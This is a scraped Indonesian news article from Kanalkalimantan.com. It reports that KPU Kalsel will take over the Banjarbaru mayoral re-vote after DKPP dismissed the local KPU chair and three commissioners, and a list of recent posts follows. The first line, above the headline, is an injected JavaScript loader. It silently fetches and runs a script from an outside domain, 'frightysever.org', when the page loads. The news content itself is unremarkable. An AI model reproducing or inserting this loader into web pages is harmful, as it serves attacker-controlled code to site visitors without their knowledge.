(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPU Kalsel Ambil Alih Pelaksanaan PSU Pilwali Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru akan diambil alih oleh KPU Kalimantan Selatan (Kalsel).

Kendati demikian teknis pelaksanaan PSU di Kota Banjarbaru belum ditentukan setelah DKPP (Dewan Kehormatan Penyelenggara Pemilu) memutus pemberhentian tetap ketua dan tiga anggota Komisi Pemilihan Umum (KPU) Banjarbaru, pada Jumat (28/2/2025) lalu.

Hal itu diungkapkan Komisioner KPU Kalsel Divisi Sosialisasi, Pendidikan Pemilih, Partisipasi Masyarakat dan Sumber Daya Manusia (Sosdiklih Parmas SDM) Muhammad Fahmi Failasopa.

“Bisa dipastikan pelaksanaan tugas dan kewajiban KPU Banjarbaru akan dilaksanakan oleh KPU Kalsel,” kata Muhammad Fahmi Failasopa.

Baca juga: Bupati HSU H Sahrujani Pimpin Apel Perdana, Ingatkan Disiplin Pegawai

Fahmi mengakui bahwa pelaksanaan PSU Pilwali Banjarbaru menjadi kewajiban pihaknya. Namun, KPU Kalsel sendiri masih menunggu arahan dari KPU RI.

Termasuk Pergantian Antar Waktu (PAW) untuk mengisi kekosongan posisi komisioner KPU Banjarbaru yang ditinggalkan.

Komisioner KPU Kalsel Divisi Sosialisasi, Pendidikan Pemilih, Partisipasi Masyarakat dan Sumber Daya Manusia (Sosdiklih Parmas SDM) Muhammad Fahmi Failasopa. Foto : wanda

“Kita sambil menunggu petunjuk dan arahan terkait Pergantian Antar Waktu (PAW) KPU Kota Banjarbaru oleh pimpinan KPU RI,” jelas dia.

Baca juga: Bupati HSU Sahrujani Pantau Aktivitas Perekonomian di Kawasan Candi Agung dan Palampitan

Sekadar diketahui, Keputusan DKPP memberhentikan Ketua KPU Banjarbaru Dahtiar bersama tiga anggota KPU Banjarbaru lainnya yakni Resty Fatma Sari, Normadina dan Hereyanto. Keempat komisioner diberhentikan tetap karena terbukti melanggar kode etik dan pedoman perilaku penyelenggaraan pemilu.

Sejumlah dalil aduan ini dilayangkan oleh pengadu yakni Said Abdullah dinyatakan terbukti oleh DKPP.

Fahmi mengatakan bahwa KPU Kalsel menghormati putusan DKPP yang menjatuhkan pemberhentian tetap terhadap empat komisioner KPU Banjarbaru. “Kita hormati putusan DKPP RI,” tuntas mantan komisioner KPU Tabalong ini. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: kk


Risa

Recent Posts

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

18 jam ago

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

1 hari ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

1 hari ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

2 hari ago

H Muhammad Wiyatno Bersama Warga Kehangatan di Open House Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Rumah Jabatan (Rujab) Bupati Kapuas di Jalan Jenderal Sudirman, menjadi pusat… Read More

2 hari ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

3 hari ago